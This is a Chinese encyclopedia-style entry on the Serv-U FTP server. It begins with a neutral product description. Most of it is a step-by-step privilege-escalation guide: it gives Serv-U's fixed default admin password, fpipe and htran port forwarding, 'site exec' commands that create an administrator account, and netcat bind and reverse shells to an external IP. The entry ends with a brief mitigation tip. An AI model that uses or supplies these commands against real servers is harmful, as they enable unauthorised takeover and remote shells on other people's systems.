词条 | Serv-U |
释义 | § 简介 Serv-U 是一个可以运行于Windows 95/98/2000/ME 和 Windows NT 4.0下的FTP服务器程序. 有了它,你的个人电脑就可以模拟为一个FTP服务器,也就是说,你所连接的网络中的计算机用户可以访问你的个人电脑,通过FTP协议(文件传输协议)复制、移动、删除你的电脑中的文件或文件夹,可以做一切权限所允许的事情。FTP协议规定了计算机之间的标准通讯方式,使所有不同类型,不同操作系统,不同格式的电脑之间得以互换文件。它可以用最简单的方式创建用户帐号,并且在硬盘空间上划分一定的区域用以存放文件,让用户以各种FTP客户端软件(如CuteFTP、WS_FTP等)上传或下载所需要的文件。 有许多FTP服务器和客户端软件可用于不同的系统中,Serv-U是用于运行MS-Windows 并且已安装了WinSock 版本 1.1 兼容 TCP/IP协议的个人电脑中的,这几乎包括了所有的Windows操作系统。 § 构成 Serv-U由两大部分组成,引擎和用户界面。Serv-U引擎(ServUDaemon.exe)其实是一个常驻后台的程序,也是Serv-U整个软件的心脏部分,它负责处理来自各种FTP客户端软件的FTP命令,也是负责执行各种文件传送的软件。在运行Serv-U引擎也就是ServUDaemon.exe文件后,我们看不到任何的用户界面,它只是在后台运行,通常我们无法影响它,但在ServUAdmin.exe中我们可以停止和开始它。Serv-U引擎可以在任何Windows平台下作为一个本地系统服务来运行,系统服务随操作系统的启动而开始运行,而后我们就可以运行用户界面程序了。在Win NT/2000系统中,Serv-U会自动安装为一个系统服务,但在Win 9x/Me中,你需要在“服务器”面板中选择“自动开始”,才能让它转为系统服务。Serv-U用户界面(ServUAdmin.exe)也就是Serv-U管理员,它负责与Serv-U引擎之间的交互。它可以让用户配置Serv-U,包括创建域、定义用户、并告诉服务器是否可以访问。启动Serv-U管理员最简单的办法就是直接点接系统栏的“U”形图标,当然,你也可以从开始菜单中运行它。 § 利用Serv-U缺陷提升Webshell权限 原理 Serv-U默认监听127.0.0.1:43958,在本机才能连接这个管理端口,Serv-U默认管理账号是LocalAdministrator,默认密码是"#l@$ak#.lk;0@P",这个密码是固定的。在目标机器上运行fpipe -v -l 12345 -r 43958 127.0.0.1,然后在你自己的机器,用"Serv-U administrator"新建SERVER: 目标IP:12345 User:LocalAdministrator Pass:"#l@$ak#.lk;0@P" 那么目标机器的Serv-U就归你管了。 利用的前提:要有目标机器的普通权限的SHELL,不需要能终端或物理控制台登录,只要有个shell,能运行端口数据转发的程序就可以了。 如何得到一个shell:sql注射得到Webshell或者直接利用动网7.0 sp2以下的上传漏洞上传Webshell。 具体实施方法 1.利用得到的Webshell上传转向程序fpipe,然后执行fpipe -v -l 12345 -r 43958 127.0.0.1。 2 .在你自己的机器,用"Serv-U administrator"新建SERVER,依次填入: IP:目标IP 端口 :12345 User:LocalAdministrator Pass:"#l@$ak#.lk;0@P" 现在你就可以管理这台服务器的Serv-U了,新建一个账号,权限为系统管理员(system administrator),并在"目录访问(Dir access)"选项中给予"执行"权限(execute). 3.ftp连接,然后执行quote site exec net user iisuser password /add 添加一个用户名为iisuser密码为password的用户,加到管理员组 quote site exec net localgroup administrators iisuser /add,现在就可以连接终端并登录了。 当然也可以进行别的操作,例如上传一个nc.exe,在目标机器上得到一个管理员权限的shell,可以正向连接,也可以反向连接。 正向连接:连上ftp以后执行 quote site exec nc.exe -l -p 23 -t -e cmd.exe 这时目标主机就成了一台telnet服务器,你可以telnet上目标服务器的23端口。 反向连接:假设你的IP是202.96.209.168。 1.先在自己的机器上运行(你要有一个外部IP):nc -vv -lp 99 2.在目标机器上运行 nc -e cmd.exe 202.96.209.168 99 在你的机器上就会得到一个目标机器的具有管理员权限的shell。 如果对方进行了端口过滤或者设置了防火墙的保护(这种保护不限制反弹连接,如果限制的话就要换别的方法呢),可以用TCP SOCKET转发来实现。 打个比方: 我的机器为 A 我要测试的机器为 B[不允许正面连接] 我已经在B上得到呢一个SHELL[只要guest的就行] 我们可以这样连上对方的43958 I:我在本地监听二个端口23和56 23是等待B来连接的。 56是等待我来连接的。 II:B连接我监听的23,同时转发到本地的43958。 这样管道就建好,对方的防火墙就拿我们没有办法。 此时在本地运行Serv-U新建一个SERVER,IP填上本地的127.0.0.1端口为56,用户名LocalAdministrator,密码#l@$ak#.lk;0@P。 具体实施方法 假设你的IP是 202.96.209.168 1.在你自己的机器上运行 htran.exe -listen 23 56。 2.此时在本地运行Serv-U新建一个SERVER,IP填上本地的127.0.0.1端口为56,用户名LocalAdministrator,密码#l@$ak#.lk;0@P。 3。在目标机器上运行 htran.exe -slave 127.0.0.1 43958 202.96.209.168 23。 如果不能在Webshell下直接运行,可以写一个asp脚本来执行,内容如下 connect.asp 执行http://目标网址/connect.asp,如果出来一片空白,没提示什么错误,现在你应该可以管理目标服务器的Serv-U了。余下的事情就看您自由发挥了。 防止方法 自己给Serv-U打补丁,改变默认端口及管理密码。改密码要修改ServUAdmin.exe、ServUDaemon.exe这两个文件,改端口只要在ServUDaemon.ini文件[GLOBAL]选项中加入LocalSetupPortNo=12345即可。 很遗憾,在Serv-U的最新版本Serv-U 5.2.0.0中依然没有任何改变,默认的管理端口及密码还是原来的。不过没关系,希望这篇文章能够帮助大家。 |
随便看 |
百科全书收录594082条中文百科知识,基本涵盖了大多数领域的百科知识,是一部内容开放、自由的电子版百科全书。